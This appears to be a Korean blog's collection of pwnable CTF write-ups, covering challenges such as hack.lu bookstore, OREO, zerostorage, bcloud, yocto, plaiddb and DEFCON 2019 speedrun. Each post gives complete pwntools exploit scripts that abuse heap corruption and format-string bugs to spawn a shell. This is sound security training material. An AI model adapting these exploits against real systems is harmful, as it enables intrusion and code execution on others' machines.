Write-up/Pwnable
- [2015 Hack.lu] bookstore 2019.08.01
- [hack.lu CTF 2014] OREO 2019.07.27
- [0CTF 2016] zerostorage 2019.07.26
- [BCTF 2016] bcloud 2019.07.26
- [CODEGATE 2015] yocto (RTDL) 2019.07.13
- [PlaidCTF 2015] plaiddb writeup 2019.07.11
- [DEFCON 2019 Quals] speedrun 2019.05.14
- [Codegate 2019] aeiou Write-up 2019.02.09
- [Codegate 2019] 20000 ( grep 이용하기) 2019.01.30
- [Insomni'hack 2019] onewrite writeup 2019.01.21
[2015 Hack.lu] bookstore
overlapping_chunks 와 FSB와 stack에 값 채워넣기가 포함된 문제.
처음에 printf(heap_area)를 하길래, stack에서 fsb를 못할줄 알았다...
그런데 메뉴 선택지에서 128개를 받는것을 보고 스택에 fsb에 필요한 인자를 넣을 수 있다는 것을 늦게 알아서...
fsb를 stack에 이미 존재하는 값만으로만 수행하려는 생고생을 한 문제다...
1. overlapping_chunks 스킬을 이용하여 dest영역을 원하는 값으로 조절가능
2. menu 선택에서 fgets(choice, 128, stdin)으로 128개 입력가능 <<-- 스택에 원하는 값 넣기 가능
3. printf(dest)에서 FSB 가능
그런데 fsb를 할 수 있는 기회가 1번밖에 없다. 그래서 .fini_array를 덮어서 다시 main으로 뛰게 할 수 있다.
4. fsb로 stack_address와 libc_address를 leak
5. .fini_array를 main으로 덮는다.
6. 다시 main으로 돌아와 위의 과정을 수행.
7. fsb로 return address를 oneshot_gadget으로 덮는다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 | from pwn import * conn = process("./books") def order(id, data): conn.sendlineafter("5: Submit", str(id)) conn.recvuntil("Enter first order:") conn.sendline(data) def remove(id): conn.sendlineafter("5: Submit", str(id+2)) def submit(choice): conn.sendlineafter("5: Submit", "5"+"\x00"*7+choice) fini_array = 0x6011b8 free_got = 0x6013b8 # stage 1 remove(2) order(1, "A"*(0x88)+p64(0x151)) payload = "A"*8 payload += "%"+str(0xa39)+"c" payload += "%13$hn" payload += "%2$p " payload += "%17$p" payload += "A"*(108-len(payload)) order(1, payload) submit(p64(fini_array)) conn.recvuntil("Order 2:") conn.recvuntil("Order 2:") # leak conn.recvuntil("0x") leaks = conn.recvuntil("AAAAA")[:-5].strip().split(" ") libc_base = int("0x"+leaks[0], 16) - 0x3c6780 ret_addr = int(leaks[1], 16) - 0x200 log.info("libc_base : " + hex(libc_base)) log.info("ret_addr : " + hex(ret_addr)) #stage 2 remove(2) order(1, "A"*(0x88)+p64(0x151)) one_gadget = libc_base + 0x45216 log.info("one_gadget : " + hex(one_gadget)) """ 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL """ head = (one_gadget >> 16) & 0xFFFF tail = one_gadget & 0xFFFF payload = "A"*8 payload += "%"+str(head)+"c" payload += "%13$hn" payload += "%"+str((0x10000+tail-head)%0x10000)+"c" payload += "%14$hn" payload += "A"*(108-len(payload)) order(1, payload) submit(p64(ret_addr+2) + p64(ret_addr)) conn.recvuntil("Order 2:") conn.recvuntil("Order 2:") conn.interactive() | cs |
'Write-up > Pwnable' 카테고리의 다른 글
[hack.lu CTF 2014] OREO (0) | 2019.07.27 |
---|---|
[0CTF 2016] zerostorage (0) | 2019.07.26 |
[BCTF 2016] bcloud (0) | 2019.07.26 |
[CODEGATE 2015] yocto (RTDL) (0) | 2019.07.13 |
[PlaidCTF 2015] plaiddb writeup (0) | 2019.07.11 |
[hack.lu CTF 2014] OREO
오레오라는 문제를 풀어보았다.
house of spirit 공부하면서 풀어본 문제.
1. add메뉴를 통해 라이플을 0x40개만큼 만든다.
2. leave메뉴를 통해, 위의 라이플 0x40의 카운트를 fake chunk1로 하여 fake chunk2를 구성해준다.
3. house of spirit를 트리거하여 bss영역에 있는 fake chunk1을 free한다.
4. free된 fake chunk를 할당하여 notice에 적힌 ptr을 sscanf_got로 변경한다.
5. show stat을 통해 ssanf_addr leak 가능
6. leave를 통해 sscanf_got overwrite 가능. system으로 덮어씌우고, /bin/sh를 쳐준다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 | #!/usr/bin/env python from pwn import * conn = process("./oreo") conn.recvuntil("What would you like to do?") def add(name, desc): conn.sendline("1") conn.sendline(name) conn.sendline(desc) def show_r(): conn.sendline("2") def order(): conn.sendline("3") def leave(msg): conn.sendline("4") conn.sendline(msg) def show_s(): conn.sendline("5") for i in range(0, 0x40): add("asdf", "asdf") fake_chunk = "A"*0x1c fake_chunk += p32(0) fake_chunk += p32(0)+p32(0x300) leave(fake_chunk) fake_addr = 0x804a2a8 add("A"*27+p32(fake_addr), "fake") # all free, house of spirit order() # overwrite notice ptr sscanf_got = 0x804A258 add("AA", p32(sscanf_got)) conn.recvuntil("Okay order submitted!\n") #leak show_s() conn.recvuntil("Order Message: ") sscanf_addr = u32(conn.recv(4)) log.info("sscanf_addr : " + hex(sscanf_addr)) base_addr = sscanf_addr-0x5c4c0 system_addr = base_addr + 0x3ada0 log.info("base_addr : " + hex(sscanf_addr)) log.info("system_addr : " + hex(system_addr)) # overwrite sscanf_got -> system_addr leave(p32(system_addr)) conn.sendline("/bin/sh") conn.interactive() | cs |
'Write-up > Pwnable' 카테고리의 다른 글
[2015 Hack.lu] bookstore (0) | 2019.08.01 |
---|---|
[0CTF 2016] zerostorage (0) | 2019.07.26 |
[BCTF 2016] bcloud (0) | 2019.07.26 |
[CODEGATE 2015] yocto (RTDL) (0) | 2019.07.13 |
[PlaidCTF 2015] plaiddb writeup (0) | 2019.07.11 |
[0CTF 2016] zerostorage
이번에는 unsorted bin attack 공격
global_max_fast를 main_arena+88로 덮어서 모든 heap이 fastbin처럼 동작되게 만들었다.
취약점은 merge에서 일어나는데,, 이걸 한참을 못찾았다.
왠지 여기서 일어날것같았는데 ㅁㄴㅇㄹ
merge할때, from id와 to id가 같은 값이 들어와도 이를 검사하지않아, UAF 취약점이 발생한다.
이를 통해서 free된 청크에 값을 쓸 수 있고, 이 free된 청크가 unsorted bin이기 때문에 global_max_fast를 덮을 수 있는 것.
그런데 이렇게해놓고 unsorted bin이 망가져서 다른 청크를 할당할 수 없엇는데...
이전에 마지막으로 할당한 top chunk에 가까운 영역을 merge(same_hunk_id, same_chunk_id)해서 unsortedbin 안거치고 크기를 늘리거나 할당하여 free를 할 수 있었다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 | #!/usr/bin/env python from pwn import * conn = process("./zerostorage") def insert(size, data): conn.sendlineafter("Your choice: ", str("1")) conn.sendlineafter("Length of new entry: ", str(size)) conn.sendafter("data: ", data) def update(id, size, data): conn.sendlineafter("Your choice: ", str("2")) conn.sendlineafter("ID: ", str(id)) conn.sendlineafter("entry: ", str(size)) conn.sendafter("data: ", data) def merge(fid, tid): conn.sendlineafter("Your choice: ", str("3")) conn.sendlineafter("ID: ", str(fid)) conn.sendlineafter("ID: ", str(tid)) def remove(id): conn.sendlineafter("Your choice: ", str("4")) conn.sendlineafter("ID: ", str(id)) def view(id): conn.sendlineafter("Your choice: ", str("5")) conn.sendlineafter("ID: ", str(id)) def list(): conn.sendlineafter("Your choice: ", str("6")) insert(0x10, "A"*0x10) insert(0xf8, "B"*0xf8) # trigger bug merge(0, 0) # 2 # leak main_arena view(2) conn.recvuntil(":\n") main_arena = u64(conn.recv(6).ljust(8, "\x00")) libc_base = main_arena - 0x3c4b78 system_addr = libc_base + 0x45390 log.info("libc_base : " + hex(libc_base)) log.info("libc_base : " + hex(libc_base)) log.info("main_arena : " + hex(main_arena)) global_max_fast = libc_base + 0x3c67f8 log.info("global_max_fast : " + hex(global_max_fast)) free_hook = libc_base + 0x3c67a8 log.info("free_hook : " + hex(free_hook)) target = free_hook - 0x59 # unsorted bin attack payload = "A"*8 payload += p64(global_max_fast-0x10) payload += "A"*16 log.info("len : "+hex(len(payload))) # overwrite global_max_fast update(2, 0x20, payload) insert(0x10, "/bin/sh\x00"+"A"*8) # 0 # double free merge(1, 1) #3 target = free_hook - 0x59 payload = p64(target) payload += "A"*(0xf8*2 - 8) update(3, 0xf8*2, payload) insert(0x1f0, "A"*0x1f0) # overwrite free_hook to system payload = "\x00"*0x49 payload += p64(system_addr) payload += "\x00"*(0x1f0-0x49-8) insert(0x1f0, payload) remove(0) conn.interactive() | cs |
'Write-up > Pwnable' 카테고리의 다른 글
[2015 Hack.lu] bookstore (0) | 2019.08.01 |
---|---|
[hack.lu CTF 2014] OREO (0) | 2019.07.27 |
[BCTF 2016] bcloud (0) | 2019.07.26 |
[CODEGATE 2015] yocto (RTDL) (0) | 2019.07.13 |
[PlaidCTF 2015] plaiddb writeup (0) | 2019.07.11 |
[BCTF 2016] bcloud
tistory 블로그에 writeup쓰는 것이 너무 귀찮아지고 잇다...
언젠가 github 블로그로 옮겨야지 ㅁㄴㅇㄹ
bcloud를 풀어보았다. 최근 마크다운으로 롸업을 쓰다보니 티스토리를 못써먹겟지만... 깃헙 블로그 만드는게 귀찮으니 그냥 써야겟다....
익스는 아래와 같이 진행하였다.
취약점 : House of force
1. name입력에서 0x40만큼 꽉 채워입력하여 heap_addr를 leak
2. house of force를 이용하여 free_got영역에서부터 다음영역을 할당받을 수 있게 한다.
3. exit_got를 main으로 바꾸고, 나머지 got영역은 원래 함수의 plt+6지점으로 덮는다.
4. setvbuf함수도 puts_plt+6으로 덮는다.
5. 일부러 exit
6. main함수로 돌아와 puts(stdin), puts(stdout), puts(stderr)가 출력되어 leak이 가능하다.
7. leak한 값을 토대로 system함수 주소를 구한다.
8. atoi함수를 system함수로 덮어서 쉘을 획득.
다해놓고보니 그냥 사실 bss영역에 할당되는 heap 노트영역? 노트엿나 뭐였나 어쨋든 그부분을 덮어서 edit해도 되는 것이였다...
나는 edit이 없는줄 알았는데 있더라;;
아무튼 이렇게도 풀수있더라~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 | from pwn import * conn = process("./bcloud") conn.sendafter("name:", "A"*0x40) conn.recvuntil("A"*0x40) heap_addr = u32(conn.recv(4)) log.info("heap : " + hex(heap_addr)) conn.sendafter("Org:", "B"*0x40) conn.sendlineafter("Host:", p64(0xFFFFFFFF)) def new(size, content): conn.sendlineafter("option--->>", "1") conn.sendlineafter(":", str(size)) conn.sendlineafter("content:", content) def edit(idx, content): conn.sendlineafter("option--->>", "3") conn.sendlineafter("id:", str(idx)) conn.sendlineafter("content:", content) def rm(idx): conn.sendlineafter("option--->>", "4") conn.sendlineafter("id:", str(idx)) read_got = 0x804b00c top = heap_addr + 0xd0 force = read_got - top - 0x8 log.info("force : " + str(force)) # force conn.sendlineafter("option--->>", "1") conn.sendlineafter(":", str(force)) main_addr = 0x8048C81 puts_plt = 0x8048520 payload = "A"*4 # __stack_chk_fail payload += p32(0x8048506) # strcpy -> strcpy_plt+6 payload += p32(0x8048516) # malloc -> malloc_plt+6 payload += p32(puts_plt+6) # puts payload += "A"*4 payload += p32(main_addr) # exit payload += "A"*4 payload += p32(puts_plt) # set payload += p32(0x8048576) # memset_plt+6 payload += p32(0x8048586) # atoi_plt+6 new(0x200, payload) #context.log_level = "debug" conn.sendlineafter("option--->>", "6") conn.recvuntil("Bye!\n\n") conn.recv(4) stdin_addr = u32(conn.recv(4)) - 71 base_addr = stdin_addr - 0x1b25a0 log.info("stdin_addr : " + hex(stdin_addr)) log.info("base_addr : " + hex(base_addr)) system_addr = base_addr + 0x3ada0 conn.sendlineafter("name:", "A") conn.sendlineafter("Org:", "B") conn.sendlineafter("Host:", "C") payload = "A"*4 payload += p32(0x8048506) payload += p32(0x8048516) payload += p32(puts_plt+6) payload += "A"*4 payload += p32(main_addr) payload += "A"*4 payload += p32(puts_plt) payload += p32(0x8048576) payload += p32(system_addr) edit(1, payload) conn.sendlineafter("option--->>", "/bin/sh") conn.interactive() | cs |
'Write-up > Pwnable' 카테고리의 다른 글
[hack.lu CTF 2014] OREO (0) | 2019.07.27 |
---|---|
[0CTF 2016] zerostorage (0) | 2019.07.26 |
[CODEGATE 2015] yocto (RTDL) (0) | 2019.07.13 |
[PlaidCTF 2015] plaiddb writeup (0) | 2019.07.11 |
[DEFCON 2019 Quals] speedrun (0) | 2019.05.14 |
[CODEGATE 2015] yocto (RTDL)
codegate의 rtdl 문제
이 포맷을 사용해서 계속해서 풀어나가면 될 것 같다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 | from pwn import * elf = ELF('./yocto') # get section address dynsym = elf.get_section_by_name('.dynsym').header['sh_addr'] dynstr = elf.get_section_by_name('.dynstr').header['sh_addr'] relplt = elf.get_section_by_name('.rel.plt').header['sh_addr'] plt_addr = elf.get_section_by_name('.plt').header['sh_addr'] bss = elf.get_section_by_name('.bss').header['sh_addr'] read_got = elf.got['read'] log.info('Section Headers') log.info('.dynsym : ' + hex(dynsym) + " (SYMTAB)") log.info('.dynstr : ' + hex(dynstr) + " (STRTAB)") log.info('.rel.plt : ' + hex(relplt) + " (JMPREL)") log.info('.plt : ' + hex(plt_addr) + " (jmp _dl_runtime_resolve)") log.info('.bss : ' + hex(bss)) log.info('read_got : ' + hex(read_got)) stack_size = 0x300 glob = 0x80495C0 base_stage = bss + stack_size base_stage = glob fake_reloc = base_stage + 24 + 12 fake_sym = fake_reloc + 8 # base_stage + 28 fake_symstr = fake_sym + 16 # "system\x00" address offset fake_cmd = fake_symstr +7 # "/bin/sh\x00" address fake_reloc_offset = fake_reloc - relplt # this value should be able to divide by 16. fake_r_info = ((fake_sym - dynsym) * 16) & ~0xFF #FAKE ELF32_R_SYM, index offset(16 byte index) fake_r_info = fake_r_info | 0x7 #FAKE ELF32_R_TYPE # this value should be able to divide by 16. systemName_index = fake_symstr - dynstr # system_name addr - STRTAB(dynstr) log.info('') log.info('Fake Struct Information') log.info('fake_reloc_offset : ' + hex(fake_reloc_offset)) log.info('fake_cmd : ' + hex(fake_cmd)) log.info('read_got : ' + hex(read_got)) log.info('fake_r_info : ' + hex(fake_r_info)) log.info('systemName_index : ' + hex(systemName_index)) #_dl_runtime_resolve(struct link_map *l, fake_reloc_arg) payload = "." payload += str(fake_reloc_offset) # fake_rel - JMPREL payload += "." payload += str(plt_addr) # jmp _dl_runtime_resolve payload += ";sh;" payload += "A"*(32 - len(payload)) #Argument of the function payload += p32(fake_cmd) # this payload is not use this #Fake Elf32_Rel payload += p32(read_got) # fisrt 4byte : call function got (any function got) payload += p32(fake_r_info) # 1byte relocation type and 3byte FAKE ELF32_R_SYM index offset #Fake Elf32_Sym payload += p32(systemName_index) # elf32_sym(dynstr) index : system_name addr - STRTAB(dynstr) payload += p32(0) payload += p32(0) payload += p8(0) payload += p8(0) # this value must be 0 payload += p16(0x12) #String "system" payload += 'system\x00' #String "/bin/sh" payload += '/bin/sh\x00' conn = process("./yocto") log.info("payload len : " + hex(len(payload))) conn.sendline(payload) conn.interactive() | cs |
'Write-up > Pwnable' 카테고리의 다른 글
[0CTF 2016] zerostorage (0) | 2019.07.26 |
---|---|
[BCTF 2016] bcloud (0) | 2019.07.26 |
[PlaidCTF 2015] plaiddb writeup (0) | 2019.07.11 |
[DEFCON 2019 Quals] speedrun (0) | 2019.05.14 |
[Codegate 2019] aeiou Write-up (0) | 2019.02.09 |
[PlaidCTF 2015] plaiddb writeup
3일간에 걸려 푼 문제다.
익스가 매번 성공하는 것은 아니고 가끔 실패하는데 이유는 모르겠다.
poison null byte 공부하는데 도움이 된 것 같기도 하고 아닌 것같기도...
문제 자체가 조금 어렵다.
일단 익스는 아래와 같이 진행하였다.
1단계
1. chunk들을 잘 조절하여 poison_null_byte를 trigger한다.
2. 위 방법을 통해 db청크하나를 오버랩시키고, db청크의 data_size부분을 top chunk의 size로 오버랩시킨다.
3. 위를 통해서 db청크를 GET을 통해 검색하게되면 0x20000정도의 memory를 write로 뿌려주게 된다.
4. heap과 libc를 leak 한다.
2단계.
1. 0x71정도 사이즈의 chunk를 free하고 청크조작을 통해 fd를 realloc_hook-0x13의 주소로 덮는다.
2. realloc_hook을 system함수주소로 덮는다.
3. GET을 통해서 "/bin/sh\x00\x00 ... \x00"을 통해서 realloc을 트리거한다.
4. 쉘을 획득
처음에는 malloc_hook을 oneshot가젯으로 덮어 malloc 호출로 쉘을 따려고 했으나, 모든 원샷가젯이 작동하지않았다.
아마 rsp+a가 NULL이 아니라서 인것같은데... 뭘 어떻게 해줄수가 없어서 대신 realloc_hook을 덮어 realloc 호출 유도로 system함수 실행을 통해 쉘을 획득하는 방식으로 바꾸었다.
중간에 청크 조작때문에 서로가 서로를 덮는 상황이 발생하는데, 이 때 쓰기 불가능한 영역을 덮게 되어 error가 나는 경우가 있으니, leak한 쓰기 가능한 영역을 적절히 잘덮어써주면 error를 회피할 수 있다.
또 이게 익스가 매번 되는게 아니라, 가끔 실패하는데 이유는 정확히 모르겠다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 | #!/usr/bin/env python from pwn import * conn = process("./datastore.elf") def get(key): conn.sendlineafter("command:", "GET") conn.sendlineafter("key:", key) def put(key, size, data): conn.sendlineafter("command:", "PUT") conn.sendlineafter("key:", key) conn.sendlineafter("size:", str(size)) conn.sendafter("data:", data) def dump(): conn.sendlineafter("command:", "DUMP") def delete(key): conn.sendlineafter("command:", "DEL") conn.sendlineafter("key:", key) def exit(): conn.sendlineafter("command:", "EXIT") put("A", 0x100, "1"*0x100) delete("th3fl4g") put("B", 0x200, "2"*(0x200-0x10)+p64(0x200)+p64(0)) delete("A") put("C", 0x110, "3"*0x110) # setting poison_null_byte delete("B") put("D", 0x50, "4"*0x50) get("A"*0x18) # off-by-one, poison_null_byte put("", 0x80, "5"*0x80) # b1 put("b2", 0x40, "6"*0x40) # overlap chunk delete("") # consolidate delete("C") # remove fastbins and raise the heap address. put("BBBB", 0x8, "D"*0x8) put("CCCC", 0x8, "D"*0x8) put("EEEE", 0x8, "D"*0x8) payload = "A"*0xa0 put("Attack", len(payload), payload) get("b2") # b2 chunk size overwrite top chunk size """ A start -------------------------------- b_header b2 start -------------------------------- key_ptr | data_size & top chunksize data_ptr | A end -------------------------------- top chunksize prev_db b2 end -------------------------------- """ """ $ DUMP INFO: Dumping all rows. INFO: Row [Attack], 160 bytes INFO: Row [BBBB], 8 bytes INFO: Row [CCCC], 8 bytes INFO: Row [D], 80 bytes INFO: Row [EEEE], 8 bytes INFO: Row [\xb0\x82uUUU], 134481 bytes << 0x20d51 topchunk size PROMPT: Enter command: """ # leak address conn.recvuntil(" bytes]:") conn.recvuntil("BBBB") conn.recv(4) libc_base = u64(conn.recv(8)) - 0x3c4b78 log.info("libc_base : " + hex(libc_base)) conn.recvuntil("2"*8) conn.recv(8) heap_addr = u64(conn.recv(8)) - 0x3a0 log.info("heap_addr : " + hex(heap_addr)) # make fake_chunk b2 fake_chunk = p64(u16('b2')) + p64(0x41) fake_chunk += p64(heap_addr + 0x50) fake_chunk += p64(0x20d71) fake_chunk += p64(heap_addr + 0x2f0) + p64(0) fake_chunk += p64(0) + p64(0) fake_chunk += p64(0) + p64(0x71) get(fake_chunk) get("A"*0x30) delete("b2") # target address realloc_hook = libc_base + 0x3c4b10 - 0x13 - 0x10 system_addr = libc_base + 0x45390 """ 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL """ # fastbin link control payload = p64(heap_addr+0x20)*8 ## avoid error payload += p64(0) + p64(0x71) payload += p64(realloc_hook) + p64(0) payload += "A"*0x10 put("A"*0x40, 0x70, payload) put("AAAS", 0x68, p64(heap_addr)*13) payload = "A"*3 payload += p64(libc_base + 0x85e20) ## avoid error payload += p64(system_addr) # realloc_hook payload += p64(0) # malloc_hook payload += p64(heap_addr+0x40)*9 payload += "A"*5 put("BBBS", 0x68, payload) get("/bin/sh" + "\x00"*0x20) conn.interactive() | cs |
'Write-up > Pwnable' 카테고리의 다른 글
[BCTF 2016] bcloud (0) | 2019.07.26 |
---|---|
[CODEGATE 2015] yocto (RTDL) (0) | 2019.07.13 |
[DEFCON 2019 Quals] speedrun (0) | 2019.05.14 |
[Codegate 2019] aeiou Write-up (0) | 2019.02.09 |
[Codegate 2019] 20000 ( grep 이용하기) (0) | 2019.01.30 |
[DEFCON 2019 Quals] speedrun
Speedrun Exploit code - github
speedrun-001
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
- stage 1. Write "/bin/sh\x00" in the bss area`
- stage 2. execve("/bin/sh", NULL, NULL);`
- get shell
SROP
문제입니다. "/bin/sh"를 read를 이용해 bss영역에 쓰고 execve를 syscall하여 shell을 획득합니다.
speedrun-002
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
이번엔 ROP
입니다. puts
를 이용해서 puts나 read의 함수주소를 leak
하고, onegadget
을 이용하여 바로 exploit
해줬습니다.
speedrun-004
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
speedrun001
과 비슷합니다. srop
를 사용합니다. 257바이트까지 입력할 수있는데 1바이트 오버플로우가 나서 rbp의 하위 1바이트를 덮을 수 있습니다. fake ebp -> ret sled -> srop
순서로 공격하면됩니다. rbp
의 하위 1바이트를 \x00
으로 하고 ret
가젯을 충분히 넣어두면 알아서 srop
에 해당하는 부분(shellcode)으로 갈 것입니다.
speedrun-005
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
#포맷스트링버그
#FSB
너무 멍청하게 풀어서 대회 당시에 4시간이나 삽질을 한 문제이다. printf(&buf)
에서 FSB
가 터지는데, printf로 출력할 때 \x00
을 만나면 거기까지만 출력해준다. 그런데 여기서 멍청하게 생각을 못한게 어짜피 read로 읽어서 스택에는 데이터가 들어간다는것을 잊고있었다.(아오)
그래서 그냥 스택에 got
를 적당한것 puts GOT를 넣고 다시 FSB
를 읽으켜서 GOT
를 원샷으로 덮어주면 간단하다. 이걸 못맞추다니;;; 근데 끝나고 풀어보려고하니까 데프콘서버쪽에 바이너리가 바뀌어서 익스가 안됨 ㅡㅡ; 서버쪽에는 puts GOT가 0x601020이던데, 뭔일인지...
참고로 FSB
payload는 pwntool의 fmtstr_payload를 쓰면 빠르게 할 수 있다. 물론 이 함수가 조금 멍청해서 target_address를 payload앞에 집어넣어서 64bit환경일 경우 printf에서 \x00
으로 진작에 끊겨버리므로 아래와 같은 트릭을 써서 따로 계산해주는게 낫다.
# make fsb payload
context.clear(arch = 'amd64')
fsb_payload = fmtstr_payload(30, writes={print_got:0x40069D}, numbwritten=(-64+24), write_size='byte')
# this function create stupid string. start payload null(\x00)
# null(\x00) is string end, printf is end. so addresses need to go to the payload end
# so, numbwritten=(-64+24) is alreay payload(24) + got_address(-8*8=-64)
fsb_payload = fsb_payload[64:]
# leak _IO_stdfile_1_lock
# stage 1. puts GOT overwrite FSB vuln function
payload = "%122$16lx" # start offset 6
payload += "A"*8
payload += fsb_payload
payload += ((8*24)-len(payload))*"A" # padding 30-6 offset (target_offset - strat_offset)
payload += p64(print_got)
payload += p64(print_got + 1)
payload += p64(print_got + 2)
payload += p64(print_got + 3)
payload += p64(print_got + 4)
payload += p64(print_got + 5)
payload += p64(print_got + 6)
payload += p64(print_got + 6)
payload += p64(print_got + 7)
대략 설명하면 30
오프셋부터 print_got
가 나온다고보고 numbwritten은 기존 페이로드에 먼저쓰인 16+8
바이트에 쓸모없는 64
를 뺀 값을 넣고, byte
단위의 FSB
payload이므로 8개의 address를 맨뒤에 넣어준다. 중간에 중요한 fsb다음에는 30
오프셋까지 패딩해주면된다.
speedrun-007
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
OOB
라고 해야할까. 암튼 Relative write
가 가능하다. 0x638
을 오프셋으로하면 main
함수의 ret(__libc_start_main+231
)를 덮어쓸 수 있는데, 이것을 onegadget
으로 덮으면 main에서 리턴하면 쉘이 따진다.
물론 확률이 낮다. libc_base + 0x4f322이므로 뒤 6자리만 잘 맞추면 쉘이 따지는데, 여기서 뒤 3자리는 알고 있으니 나머지 16진수 3자리를 맞춰주면 된다. 즉 경우의 수는 0x000~0xFFF로 4096개이다.
그런데, leak도 한번 제대로 못해봣는데... 이렇게 대충 one_gadget으로 맞추는 문제로 괜찮은건가? 게다가 speedrun이라고 문제를 내놓고 확률에 맡기는 문제라니 ... 좋은 문제는 아니지만 이렇게 풀수도있다는 것을 보여주는 문제인 것같다.
speedrun-008
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: canary found
NX: NX enabled
PIE: No PIE (0x400000)
그냥 실행하면 아무것도 안뜬다. 그래서 시작하자마자 엄청 답답한 문제였는데... 사실 무한루프를 도는 것이다;
그리고 문제를 잘 읽었어야했다. speedrun001을 보면 아래와 같이 적혀잇다.
For all speedrun challenges, flag is in /flag
그리고 이 문제를 strace로 돌려보면
myria@ubuntu:~/CTF/DEFCON2019/speedrun008$ strace ./speedrun-008
read(-1, 0x7ffeac0788f0, 1) = -1 EBADF (Bad file descriptor)
read(-1, 0x7ffeac0788f0, 1) = -1 EBADF (Bad file descriptor)
read(-1, 0x7ffeac0788f0, 1) = -1 EBADF (Bad file descriptor)
read(-1, 0x7ffeac0788f0, 1) = -1 EBADF (Bad file descriptor)
read(-1, 0x7ffeac0788f0, 1) = -1 EBADF (Bad file descriptor)
...
...
망할 뭔가 계속 read 실패로 무한루프를 돈다. 그리고 서버에 접속해보면 프로그램이 정상적으로 실행되는 것을 알 수 있는데... 이게 로컬에서 안돌아가는 이유가 /flag
가 없어서이다...
어우야ㅠ..
그리고 IDA에서 발견한 또 한가지...
.init_array:00000000006B6138 ; Segment type: Pure data
.init_array:00000000006B6138 ; Segment permissions: Read/Write
.init_array:00000000006B6138 ; Segment alignment 'qword' can not be represented in assembly
.init_array:00000000006B6138 _init_array segment para public 'DATA' use64
.init_array:00000000006B6138 assume cs:_init_array
.init_array:00000000006B6138 ;org 6B6138h
.init_array:00000000006B6138 off_6B6138 dq offset sub_400B20 ; DATA XREF: .text:0000000000401A22↑o
.init_array:00000000006B6138 ; .text:0000000000401A2B↑o ...
.init_array:00000000006B6140 dq offset init_canary
.init_array:00000000006B6148 dq offset sub_4005A0
.init_array:00000000006B6148 _init_array ends
.init_array에 sub_400B4D
가 등록되있는데, 임의로 이름은 init_canary
로 변경하였다. 이런 문제 예전에도 보았다. canary 우회방법중 하나로 Canary 루틴 노출이 유출되었을때가 있었는데... 멍청하게 또 잊어버림 ㅡㅡ;
예전에 풀었던 Canary 루틴 노출문제
어쨋든 다시 여기 문제로 돌아와서, canary를 무엇으로 설정하냐고 하면 /flag
파일을 읽어서 이를 기반으로 canary
를 생성한다. 물론 역연산하는것은 어렵다. 하지만 flag
가 변할 일은 없으니 canary
값은 항상 같다.
그럼 bruteforcing
으로 canary
를 구하고 그 후에는 rop
를 할 뿐인 문제다.
speedrun-009
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
모든 보호기법이 다 걸려있습니다. 하지만 그 만큼 문제 자체도 취약점이 많습니다. 문제를 실행하면 1, 2, 3의 선택지가 주어지는데. 1
번은 BOF
가 발생하고 2
번은 FSB
가 일어납니다.
FSB
를 이용해 Canary
, Libc Address
, PIE address
를 leak
할 수 있고, 이제 BOF
를 이용해서 onegadget
을 사용하면 쉽습니다.
speedrun-010
Arch: amd64-64-little
